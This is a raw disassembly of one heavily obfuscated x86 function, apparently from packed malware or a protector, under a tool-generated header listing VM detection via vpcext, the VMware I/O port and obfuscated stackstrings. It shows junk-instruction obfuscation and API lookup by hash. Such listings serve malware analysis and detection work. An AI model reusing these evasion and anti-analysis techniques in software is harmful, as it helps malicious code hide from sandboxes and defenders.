Function at 0x5fb48c
Capabilities:
Check for vm using instruction vpcext
Contain obfuscated stackstrings
Reference the vmware io port

Disassembly:
pop ebx
shr ebx, 2
neg ebx
sub ebx, 0xba8263cd
mov ecx, ebx
pop ebx
mov ebp, ecx
jmp 0x5fc626
sub esp, 4
jmp 0x5fe95e
push edi
jmp 0x5fa8b3
sub ecx, 0x367e530c
pop edi
jmp 0x5fa1c7
sub eax, esi
sub eax, 0x3dfdd300
pop esi
jmp 0x5fcade
pop esp
mov dword [esp], eax
jmp 0x5fb1e3
add dword [esp + 4], 0x36dd20b7
push esi
push ebx
mov ebx, 0x417f32ee
jmp 0x5fb2c1
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg dword [esp], ebp
jmp 0x5fadee
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg dword [esp], ecx
jmp 0x5fa1ce
xor ecx, 0x2df7b2e0
xor ecx, 0x4a6b32ec
push ecx
pop edx
pop ecx
sub dword [esp + 4], edx
push dword [esp]
pop edx
jmp 0x5fcdad
mov dword [eax], ecx
jmp 0x5fa527
mov esp, dword [esp]
jmp 0x5fad9c
and edi, 0x79679ce6
sub edi, 0xa4294164
add ecx, edi
pop edi
pop eax
add ecx, 4
xchg dword [esp], ecx
pop esp
push ecx
mov ecx, 0x7adb3401
push ebx
mov ebx, 0x5e2944af
jmp 0x5fee17
push ecx
jmp 0x5fae1f
sub esi, 0x6bbf7971
inc esi
shl esi, 8
jmp 0x5faecc
mov ecx, dword [esp]
push 0x5fd5d587
jmp 0x5fad53
pop ebp
mov ebp, dword [esp]
add esp, 4
sub edx, 4
xor edx, dword [esp]
xor dword [esp], edx
xor edx, dword [esp]
jmp 0x5fa0cb
mov edx, 0x2d86d21a
xor dword [esp + 4], edx
pop edx
push eax
mov dword [esp], ecx
push 0x637d5035
mov dword [esp], eax
jmp 0x5fc1fe
mov edi, esp
add edi, 4
add edi, 4
xchg dword [esp], edi
pop esp
mov dword [esp], esi
mov dword [esp], eax
push dword [ebp + 0x1245da56]
call dword [ebp + 0x122d2cd6]
mov dword [ebp + 0x1245da66], eax
lea eax, [ebp + 0x1245da34]
push edx
mov edx, esp
jmp 0x5fddd5
push 0xa4aade7
mov dword [esp], eax
jmp 0x5fd910
xor edx, dword [esp]
xor dword [esp], edx
xor edx, dword [esp]
jmp 0x5fe427
mov dword [esp], esp
sub esp, 4
mov dword [esp], ebx
mov ebx, 0x597e3657
push esi
mov esi, 0x7e225240
sub esi, 0x5ef5d4f6
shr esi, 8
add esi, 0x56a47d37
not esi
add esi, 0xceaa09f3
and ebx, esi
pop esi
xor ebx, 0x3c0c88e9
add ebx, 0x92955705
add dword [esp + 4], ebx
pop ebx
push dword [esp]
push dword [esp]
pop edi
push edi
push esp
jmp 0x5fd9bb
add eax, ebx
jmp 0x5fdcdb
push dword [esp]
push dword [esp]
pop eax
push 0x5e2785f7
mov dword [esp], eax
push esp
jmp 0x5fdc8b
pop esp
jmp 0x5fa6ad
pop edi
jmp 0x5fadff
mov edi, 0xd5dbb38
add ebp, edi
pop edi
jmp 0x5fc226
push 0x391e078c
jmp 0x5fef95
add esp, 4
push 0x437f15ed
mov dword [esp], ecx
jmp 0x5faabc
mov ebp, 0x1f8ae06a
and dword [esp + 4], ebp
pop ebp
neg dword [esp]
push eax
mov eax, 0xe0c6643c
xor dword [esp + 4], eax
push dword [esp]
pop eax
add esp, 4
mov dword [esp], eax
mov dword [esp], 0x6dff0400
add dword [esp], 1
sub dword [esp], 1
jmp 0x5fbb98
mov dword [esp], edx
push 0x6aaebaf2
push esp
jmp 0x5fc0d4
xchg dword [esp], eax
not eax
xchg dword [esp], eax
mov ecx, dword [esp]
add esp, 4
push ecx
dec dword [esp]
pop ecx
jmp 0x5fb09b
push eax
push ebp
mov ebp, esp
jmp 0x5fd60c
mov esp, dword [esp]
push ecx
jmp 0x5fee59
and ecx, ebp
pop ebp
jmp 0x5fa172
pop edx
add esi, 4
xchg dword [esp], esi
mov esp, dword [esp]
jmp 0x5fc0a9
mov edx, esp
add edx, 4
sub edx, 4
xchg dword [esp], edx
pop esp
mov dword [esp], ebx
push edx
jmp 0x5fad7f
mov dword [esp], ebp
mov ebp, esp
jmp 0x5fb2dd
sub dword [esp], 0x6eaf265b
pop ebx
add ebx, 0x6eaf265b
jmp 0x5f9b29
mov dword [esp], esi
mov esi, 1
jmp 0x5fb194
pop esp
jmp 0x5faaae
add dword [esp + 4], ecx
jmp 0x5fa114
mov ecx, 0x7ffe3452
add ecx, 0x761f6e81
sub ecx, 0x7f3cb6e3
sub ecx, 0xffffffff
dec ecx
add ecx, 0x8fd054a
push ecx
xor dword [esp], 0x3bbfaf00
jmp 0x5fbe65
shl edi, 3
shr edi, 6
sub edi, 0x2def3aec
sub edi, 0xd40d7b8a
sub eax, 0x2fffa807
sub eax, 0x77fc6439
jmp 0x5fb602
mov esi, eax
push esi
pop eax
jmp 0x5fc9a1
sub esi, 0xa7db6146
sub edx, 0x15f61522
add edx, esi
add edx, 0x15f61522
pop esi
add edx, ebp
jmp 0x5fcd8c
mov dword [esp], ebp
mov ebp, 4
add edx, ebp
pop ebp
push edx
push dword [esp + 4]
pop edx
pop dword [esp]
pop esp
sub esp, 4
mov dword [esp], edx
push eax
jmp 0x5fb968
mov edi, 0x36dd20b7
sub dword [esp + 8], edi
jmp 0x5fa84f
mov ecx, dword [esp]
add esp, 4
jmp 0x5fcb60
push esi
mov dword [esp], ebx
mov ebx, 0x7ffd3c32
dec ebx
jmp 0x5fb4c5
sub dword [esp + 4], esi
pop esi
inc dword [esp]
push esi
mov dword [esp], eax
push ecx
jmp 0x5fb1d9
mov ecx, 0x7998085e
jmp 0x5fba70
push dword [ebp + 0x1245da56]
call dword [ebp + 0x122d2cd6]
mov dword [ebp + 0x1245da62], eax
lea eax, [ebp + 0x1245da19]
sub esp, 4
mov dword [esp], eax
mov dword [esp], esi
mov dword [esp], 0x37d66317
push ecx
jmp 0x5fa15f
xchg ebx, eax
add ebx, 0xde7a3a0f
add ebp, ebx
pop ebx
jmp 0x5fef6d
push esp
jmp 0x5fccb3
pop eax
jmp 0x5fbef1
push esi
jmp 0x5fbccb
add ebp, 4
jmp 0x5fc693
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg dword [esp], ebp
pop esp
push ebx
sub esp, 4
mov dword [esp], edx
jmp 0x5fc958
or ebx, 0x2e7fa806
add ebx, 0x33ec4b85
add ecx, ebx
mov ebx, dword [esp]
jmp 0x5fbc63
add eax, edi
add eax, 0x77fc6439
jmp 0x5fb87e
sub dword [esp + 4], 0x3e9df660
add dword [esp + 4], esi
add dword [esp + 4], 0x3e9df660
pop esi
jmp 0x5fe193
mov esi, 0x5effe61c
add eax, esi
pop esi
cmp dword [ebp + 0x122d2a56], 0
jne 0x5fb849
cmp dword [ebp + 0x122d2bbe], 0
je 0x5fb85e
push eax
mov eax, eax
mov eax, 0x7d1
mov dword [ebp + 0x122d25be], eax
call dword [ebp + 0x122d28a7]
pop eax
push edi
mov dword [esp], 0x3f06beb6
add dword [esp], 0x7febc512
shl dword [esp], 4
sub dword [esp], 0xffffffff
shl dword [esp], 2
jmp 0x5ff091
push esi
mov esi, 0x2fffa807
add eax, esi
pop esi
pop edi
xor eax, dword [esp]
xor dword [esp], eax
xor eax, dword [esp]
mov esp, dword [esp]
cmp dword [ebp + 0x122d2a56], 0
jne 0x5fb8a6
cmp dword [ebp + 0x122d2bbe], 0
je 0x5fb8bb
push eax
mov eax, eax
mov eax, 0x7d0
mov dword [ebp + 0x122d25be], eax
call dword [ebp + 0x122d28a7]
pop eax
sub esp, 4
jmp 0x5fec55
or ebx, 0x75eee29d
not ebx
sub ebx, 0x8801001e
jmp 0x5fcc49
mov edx, dword [esp]
push ecx
jmp 0x5fd66b
mov dword [esp], edx
jmp 0x5fbb6c
mov eax, ecx
push dword [esp]
pop ecx
push eax
mov eax, esp
add eax, 4
jmp 0x5fbe9b
push ecx
mov ecx, 0x3de76e34
push ebp
push ecx
push ebx
push eax
mov dword [esp], 0x5dfe181b
jmp 0x5f9b13
and dword [esp], 0x6f41baa8
shr dword [esp], 7
push esi
mov esi, 0x7eb2b310
jmp 0x5fb7ac
add esi, edx
jmp 0x5facfa
xor ebx, dword [esp]
xor dword [esp], ebx
xor ebx, dword [esp]
pop esp
mov dword [esp], ebx
mov dword [esp], esi
jmp 0x5faec3
add esp, 4
jmp 0x5fcff8
mov esi, 0x7eef60b3
add ebx, esi
pop esi
jmp 0x5fc871
add edx, 0x3f9f5ba9
pop ecx
push esi
jmp 0x5fc0b6
pop ebp
jmp 0x5fd359
add eax, 4
xchg dword [esp], eax
pop esp
xor dword [esp + 4], eax
mov eax, dword [esp]
jmp 0x5fcc0d
sub ebx, 4
jmp 0x5fbc06
xor ebp, 0x33bf500f
add ebp, 0x2b5fc525
shr ebp, 4
jmp 0x5f9e0e
push dword [esp + 4]
pop esi
jmp 0x5fe9a0
push 0x5fa1cf71
mov dword [esp], edx
jmp 0x5fee48
mov esi, 4
sub edx, 0x7d044ca1
sub edx, esi
push eax
mov eax, 0x7d044ca1
add edx, eax
pop eax
mov esi, dword [esp]
jmp 0x5fc75c
pop dword [esp]
add dword [esp], 4
pop edx
push ebp
mov ebp, 4
sub edx, 0x3e9f1d94
push esi
mov esi, 0x7ee6c11d
jmp 0x5fa41c
mov eax, 0x5addc82e
neg eax
and eax, 0x7efbe6bf
jmp 0x5fe251
sub eax, ebp
pop ebp
jmp 0x5fc5b2
pop esp
push dword [esp]
mov eax, dword [esp]
add esp, 4
push 0x554c395f
mov dword [esp], edi
push 0x2ff98968
jmp 0x5fa70c
push eax
mov eax, esp
jmp 0x5fd6d5
mov dword [esp], ebx
mov ebx, 0xd43749b2
add dword [esp + 4], ebx
mov ebx, dword [esp]
add esp, 4
mov dword [esp], eax
lea eax, [ebp + 0x1245ea07]
push edx
mov dword [esp], ecx
push ebp
mov dword [esp], 0x377d616a
mov ecx, dword [esp]
push edx
mov edx, esp
jmp 0x5fcc9a
shl eax, 6
add eax, 0x7e7b65cd
push esi
mov esi, 0x4cea2853
add eax, 0x3dfdd300
jmp 0x5fa045
pop ecx
xor ebp, 0x5695e07d
jmp 0x5facb4
add ebp, 4
xchg dword [esp], ebp
jmp 0x5fc2ff
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg dword [esp], edi
jmp 0x5fa849
inc ebx
dec ebx
sub ebx, 0x2fff9651
push edx
mov edx, 0x7f981208
add edx, 0x5b7b6bc3
xor edx, 0x3092d77a
xor ebx, edx
pop edx
mov esi, ebx
pop ebx
add dword [esp + 8], 0x7f36a491
add dword [esp + 8], esi
sub dword [esp + 8], 0x7f36a491
pop esi
jmp 0x5fb05e
sub esp, 4
mov dword [esp], esp
add dword [esp], 4
pop dword [esp]
push edx
mov edx, 4
sub dword [esp + 4], 0x73dd75ff
add dword [esp + 4], edx
add dword [esp + 4], 0x73dd75ff
mov edx, dword [esp]
add esp, 4
pop ebx
push eax
push edx
mov edx, 0x35f64625
or edx, 0x7c7f5de1
add edx, 0x3fb7a15b
jmp 0x5fdb4c
mov esi, dword [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg dword [esp], ecx
pop esp
cmp dword [ebp + 0x122d2a56], 0
jne 0x5fc9c9
cmp dword [ebp + 0x122d2bbe], 0
je 0x5fc9d8
push eax
mov eax, eax
mov eax, 0
call dword [ebp + 0x122d1fae]
pop eax
cmp dword [ebp + 0x122d2bbe], 0
je 0x5fc9ee
push eax
mov eax, 0
call dword [ebp + 0x122d3903]
pop eax
push ecx
mov dword [esp], 0x77fe8c91
add dword [esp], 0x5bfd8029
xor dword [esp], 0x76ee20af
xor dword [esp], 0x7bb65330
xor dword [esp], 0x2fdfe901
inc dword [esp]
add dword [esp], 0x2833804e
xor dword [esp], 0x24c82fe4
mov dword [esp], ecx
mov dword [esp], esi
mov esi, eax
sub esp, 4
mov dword [esp], esi
push 0x660b9099
mov dword [esp], edx
mov edx, 0x5e3ef8e4
xor dword [esp + 4], edx
pop edx
mov eax, dword [esp]
jmp 0x5fd7ed
xor edi, eax
pop eax
push ebp
mov ebp, 0x367e530c
add ecx, ebp
pop ebp
add ecx, 0x75f39b83
add ecx, edi
sub ecx, 0x75f39b83
jmp 0x5fa039
add dword [esp], 0x7f8df955
mov dword [esp], eax
push dword [ebp + 0x1245da56]
call dword [ebp + 0x122d2cd6]
mov dword [ebp + 0x1245da6a], eax
lea eax, [ebp + 0x1245da26]
push edx
jmp 0x5fd087
push edi
jmp 0x5fa63b
add eax, ebx
pop ebx
xor eax, dword [esp]
xor dword [esp], eax
xor eax, dword [esp]
jmp 0x5fac64
push ecx
mov ecx, 4
add edx, ecx
pop ecx
add edx, 4
xchg dword [esp], edx
pop esp
push edi
jmp 0x5fe951
pop edx
jmp 0x5fed56
sub edx, 0x7f6c4bba
push ebp
jmp 0x5fa31a
add esp, 4
push dword [esp]
pop eax
jmp 0x5fc422
xor eax, ecx
mov ecx, dword [esp]
add esp, 4
cmp dword [ebp + 0x122d2a56], 0
jne 0x5fd015
cmp dword [ebp + 0x122d2bbe], 0
je 0x5fd024
push eax
mov eax, eax
mov eax, 0
call dword [ebp + 0x122d2166]
pop eax
sub esp, 4
mov dword [esp], esi
sub esp, 4
mov dword [esp], edi
mov dword [esp], 0x138c12e9
mov dword [esp], eax
xor dword [esp], 0x5fb962e7
mov esi, dword [esp]
push ecx
mov ecx, esp
add ecx, 4
jmp 0x5fe9d1
mov dword [esp], ebp
jmp 0x5fa128
add edi, 4
add edi, 4
jmp 0x5fddbc
xor ebp, 0x3bbfaf00
jmp 0x5fdabf
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg dword [esp], ebp
pop esp
mov dword [esp], ecx
push ebx
mov ebx, 0x3dfac208
xor ebx, 0xe14c5df
mov ecx, ebx
mov ebx, dword [esp]
jmp 0x5faa1e
shl dword [esp], 2
push ebp
jmp 0x5faa73
add edi, 0x3be6d6e6
shl edi, 2
xor edi, 0x7b3b2dc5
sub edi, 0x6716b8ed
push eax
mov eax, 0x6268e280
push ebp
mov ebp, 0x4fff4665
jmp 0x5fbf28
add ebp, 4
sub ebp, 4
xchg dword [esp], ebp
pop esp
jmp 0x5fb9c9
mov ecx, esp
add ecx, 4
add ecx, 4
xchg dword [esp], ecx
pop esp
push eax
mov dword [esp], 0x4efd60f0
mov dword [esp], edx
push esi
jmp 0x5fe83c
add eax, 4
push ebx
mov ebx, 4
add eax, 0x7fc54101
jmp 0x5fa7c9
mov dword [esp], ecx
mov dword [esp], 0x52ff171a
push edx
jmp 0x5fa614
sub esp, 4
mov dword [esp], ecx
mov ecx, esp
jmp 0x5fdcc0
pop edx
jmp 0x5fd92e
push edx
jmp 0x5fad38
pop edi
jmp 0x5fd10d
pop ecx
push eax
mov eax, 0x4d3a4ff9
xor ebp, eax
pop eax
dec ebp
jmp 0x5fe59a
xor edx, 0xc2030c57
mov eax, 0x804bf2ed
add eax, 0x1fefbf64
add eax, edx
sub eax, 0x1fefbf64
pop edx
jmp 0x5fe756
pop eax
push esi
mov esi, 0x4f0bddba
push ebx
mov ebx, 0x4f0bddb6
sub esi, ebx
mov ebx, dword [esp]
add esp, 4
add eax, esi
pop esi
add eax, 4
push eax
push dword [esp + 4]
pop eax
pop dword [esp]
mov esp, dword [esp]
sub esp, 4
mov dword [esp], edx
jmp 0x5fb238
sub esp, 4
mov dword [esp], eax
mov eax, 4
sub ecx, 0x7bfb573c
add ecx, eax
jmp 0x5fe457
sub eax, 0x7fc54101
pop ebx
push eax
push dword [esp + 4]
pop eax
pop dword [esp]
mov esp, dword [esp]
jmp 0x5fe0d8
add edx, 4
sub edx, 4
sub esp, 4
mov dword [esp], edx
push dword [esp + 4]
pop edx
pop dword [esp]
mov esp, dword [esp]
jmp 0x5fd7cb
push esi
jmp 0x5fb82f
mov dword [esp], ebp
mov dword [esp], 0x17d7dd00
neg dword [esp]
sub dword [esp], 0x72299a0f
jmp 0x5fd4fc
shl dword [esp], 8
push ebp
jmp 0x5fc57d
mov esp, dword [esp]
mov dword [esp], eax
push dword [esp]
mov eax, dword [esp]
add esp, 4
push ecx
mov ecx, esp
push 0x5ef8c907
mov dword [esp], ebp
mov ebp, 4
add ecx, ebp
pop ebp
add ecx, 4
xchg dword [esp], ecx
jmp 0x5ff143
push edi
jmp 0x5fea81
inc ebp
add ebp, 0xbb75ed1
add edx, ebp
jmp 0x5fa540
pop esp
mov dword [esp], eax
push dword [ebp + 0x1245da56]
call dword [ebp + 0x122d2cd6]
mov dword [ebp + 0x122d3947], eax
lea eax, [ebp + 0x1245da47]
sub esp, 4
mov dword [esp], eax
mov dword [esp], 0x7c739145
jmp 0x5fea8d
add ebx, eax
jmp 0x5fb254
sub dword [esp], 0x478d7619
jmp 0x5febd0
mov eax, dword [esp]
add esp, 4
add esp, 4
push esi
mov dword [esp], eax
jmp 0x5ff128
mov esi, 0x7b5cf8e7
sub dword [esp + 4], esi
pop esi
pop eax
push 0x290a0c49
mov dword [esp], ebx
mov ebx, 0x627f6bd7
xor ebx, 0x19239330
add eax, ebx
push dword [esp]
pop ebx
push 0x73e93a40
mov dword [esp], esi
mov esi, esp
add esi, 4
add esi, 4
xchg dword [esp], esi
jmp 0x5fe8fa
pop esp
push dword [esp]
pop edx
push esi
mov esi, esp
add esi, 4
push edi
mov edi, 4
add esi, edi
jmp 0x5fec83
mov edi, 0x10fb97f6
shl edi, 2
jmp 0x5fd5db
mov dword [esp], ebx
pop eax
pop ebx
push dword [esp]
push dword [esp]
pop edx
add esp, 4
push ebp
mov dword [esp], 0x76d45b64
mov dword [esp], ebx
mov ebx, esp
jmp 0x5feeda
sub eax, 4
xchg dword [esp], eax
jmp 0x5ff5cf
pop dword [esp]
jmp 0x5fe725
add ecx, 4
xchg dword [esp], ecx
pop esp
push eax
mov eax, 0x5fb962e7
xor esi, eax
pop eax
push 0x2bf20771
mov dword [esp], ebx
push 0x6b15f5a3
mov dword [esp], esi
pop ebx
mov eax, ebx
jmp 0x5fefd7
mov edi, 0x5ddb655f
not edi
jmp 0x5fa2b0
not dword [esp]
jmp 0x5fe781
xchg dword [esp], edi
pop esp
jmp 0x5ff0c9
sub dword [esp], 0xc6013dcf
dec dword [esp]
not dword [esp]
dec dword [esp]
not dword [esp]
push eax
mov eax, esp
add eax, 4
jmp 0x5fe995
mov dword [esp], ebx
mov dword [esp], edx
mov edx, esp
push ecx
mov ecx, 4
sub edx, 0x3f9f5ba9
add edx, ecx
jmp 0x5fbda1
pop edi
push esi
push dword [esp + 4]
pop esi
pop dword [esp]
pop esp
cmp dword [ebp + 0x122d2a56], 0
jne 0x5feca0
cmp dword [ebp + 0x122d2bbe], 0
je 0x5fecaf
push eax
mov eax, eax
mov eax, 0
call dword [ebp + 0x122d3516]
pop eax
push edx
jmp 0x5fa689
add edx, 4
add edx, 4
xchg dword [esp], edx
jmp 0x5ff3af
dec ebx
shr ebx, 2
add ebx, 0xcbd973b8
add ecx, ebx
pop ebx
xor eax, ecx
mov ecx, dword [esp]
add esp, 4
pop esi
push eax
push dword [esp]
push dword [esp]
mov eax, dword [esp]
push edx
mov edx, esp
add edx, 4
jmp 0x5fee8d
mov dword [esp], esi
mov dword [esp], eax
push dword [esp]
push dword [esp]
jmp 0x5fe7eb
mov ecx, esp
add ecx, 4
sub esp, 4
mov dword [esp], ebp
mov ebp, 0xd25747c
add ebp, 0x5bff76a5
xor ebp, 0x6924eb25
push edx
mov edx, 0x3cbd15a6
add ecx, edx
jmp 0x5feecc
add edx, 4
xchg dword [esp], edx
pop esp
push eax
mov eax, esp
add eax, 4
push 0x13c6b595
mov dword [esp], ebx
push ebp
jmp 0x5feeb7
mov ebp, 0x474fba92
jmp 0x5feec1
mov ebx, ebp
pop ebp
shr ebx, 5
jmp 0x5fb8eb
pop edx
add ecx, ebp
sub ecx, 0x3cbd15a6
jmp 0x5feee5
add ebx, 4
jmp 0x5fa9b8
mov ebp, dword [esp]
add esp, 4
xchg dword [esp], ecx
pop esp
cmp dword [ebp + 0x122d2a56], 0
jne 0x5fef01
cmp dword [ebp + 0x122d2bbe], 0
je 0x5fef12
push eax
push ebx
mov eax, eax
mov eax, 0
call dword [ebp + 0x122d2028]
pop ebx
pop eax
push eax
mov dword [esp], 0x747d0d85
sub dword [esp], 0x2f09afa2
mov dword [esp], eax
push dword [esp]
push dword [esp]
mov eax, dword [esp]
jmp 0x5fef32
add esp, 4
push ebp
mov ebp, esp
add ebp, 4
push ebx
mov ebx, 0x5f3d68fc
sub ebx, 0x3db7a308
xchg ebx, eax
add eax, 1
jmp 0x5fb214
xor ebp, dword [esp]
xor dword [esp], ebp
xor ebp, dword [esp]
mov esp, dword [esp]
push edx
push esp
pop edx
jmp 0x5fef8a
add edx, 4
jmp 0x5ff0a6
mov dword [esp], eax
mov eax, 0x66ff6543
xor eax, 0x7f7e4100
and eax, 0x17deb238
add eax, 0x3ed58e7b
add eax, 0xafaa5189
add ebx, eax
pop eax
xchg dword [esp], ebx
mov esp, dword [esp]
push eax
mov dword [esp], ecx
mov dword [esp], edx
mov dword [esp], eax
xor dword [esp], 0x7ffdffe3
mov eax, dword [esp]
add esp, 4
push ebp
jmp 0x5fd3d2
push dword [esp]
pop ebx
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp 0x5feadf
add dword [esp], 0xba415ee3
mov dword [esp], eax
jmp 0x5fa7d0
sub esp, 4
jmp 0x5fafb0
mov esi, dword [esp]
push esi
mov esi, esp
push edx
mov edx, 4
jmp 0x5fbbae
mov eax, esp
push ebp
mov ebp, 4
add eax, ebp
pop ebp
sub esp, 4
mov dword [esp], edi
mov edi, 0x2fe5b3d3
jmp 0x5fae8e
pop esp
mov byte [ebp + 0x122d3439], 0x53
push 0x99395f90
push dword [ebp + 0x122d0599]
call dword [ebp + 0x122d2772]
mov dword [ebp + 0x122d264e], eax
mov byte [ebp + 0x122d3439], 0x57
push 0x90045206
push dword [ebp + 0x122d0599]
call dword [ebp + 0x122d2772]
mov dword [ebp + 0x122d1e9a], eax
mov byte [ebp + 0x122d3439], 0x43
push 0xbc907028
push dword [ebp + 0x122d0599]
call dword [ebp + 0x122d2772]
mov dword [ebp + 0x122d38f6], eax
mov byte [ebp + 0x122d3439], 0x4c
push 0xd9da1ce9
push dword [ebp + 0x122d0599]
call dword [ebp + 0x122d2772]
mov dword [ebp + 0x122d2900], eax
mov byte [ebp + 0x122d3439], 0x46
push 0xbade0614
push dword [ebp + 0x122d0599]
call dword [ebp + 0x122d2772]
mov dword [ebp + 0x122d211c], eax
mov byte [ebp + 0x122d3439], 0x44
push 0xbb738e55
push dword [ebp + 0x122d0599]
call dword [ebp + 0x122d2772]
mov dword [ebp + 0x12450448], eax
mov byte [ebp + 0x122d3439], 0x47
push 0x8a0fb5e2
push dword [ebp + 0x122d0599]
call dword [ebp + 0x122d2772]
mov dword [ebp + 0x122d2cd6], eax
mov byte [ebp + 0x122d3439], 0x47
push 0x9154f3
add byte [ebp + 0x122d0599], dh
call dword [ebp + 0x122d2772]
mov dword [ebp + 0x122d1f00], eax
mov byte [ebp + 0x122d3439], 0x77
push 0xf397a8a3
push dword [ebp + 0x122d2e69]
call dword [ebp + 0x122d2772]
mov dword [ebp + 0x122d28f3], eax
mov byte [ebp + 0x122d3439], 0x47
push 0x8728faf6
push dword [ebp + 0x122d0599]
call dword [ebp + 0x122d2772]
mov dword [ebp + 0x124594df], eax
mov byte [ebp + 0x122d3439], 0x43
push 0xbc8e6efc
push dword [ebp + 0x122d0599]
call dword [ebp + 0x122d2772]
mov dword [ebp + 0x124598c3], eax
mov byte [ebp + 0x122d3439], 0x45
push 0x8e726969
push dword [ebp + 0x122d0599]
call dword [ebp + 0x122d2772]
mov dword [ebp + 0x122d2319], eax
mov byte [ebp + 0x122d3439], 0x44
push 0xb8f2ec64
push dword [ebp + 0x122d0599]
call dword [ebp + 0x122d2772]
mov dword [ebp + 0x122d28f9], eax
push 0xcee4e7b8
push dword [ebp + 0x122d377d]
call dword [ebp + 0x122d2772]
mov dword [ebp + 0x122d1e7b], eax
mov byte [ebp + 0x122d3439], 0x43
push 0xc0764aa7
push dword [ebp + 0x122d0599]
call dword [ebp + 0x122d2772]
mov dword [ebp + 0x122d2736], eax
mov byte [ebp + 0x122d3439], 0x56
push 0xd41f6d39
push dword [ebp + 0x122d0599]
call dword [ebp + 0x122d2772]
mov dword [ebp + 0x122d2a82], eax
mov byte [ebp + 0x122d3439], 0x53
push 0xfcb148d8
push dword [ebp + 0x178e02a0]
call dword [ebp + 0x122d2772]
mov dword [ebp + 0x122d2176], eax
cmp byte [ebp + 0x1245e5b6], 0
je 0x5fab41
lea eax, [ebp + 0x5a45e598]
loope 0x5ff3c8
mov edi, 0x4baffff
add byte [eax], al
add byte [ecx], ch
salc
pop edx
push esi
jmp 0x5fc067
pop esp
mov byte [ebp + 0x122d3439], 0x47
push 0x93c8f7c1
push dword [ebp + 0x122d0599]
call dword [ebp + 0x122d2772]
sub esp, 4
jmp 0x5fe123
pop esp
mov dword [esp], ecx
jmp 0x5ff5f2
mov ecx, 0x53adbf00
sub dword [esp + 4], 0x7bef57e1
push edi
jmp 0x5fb050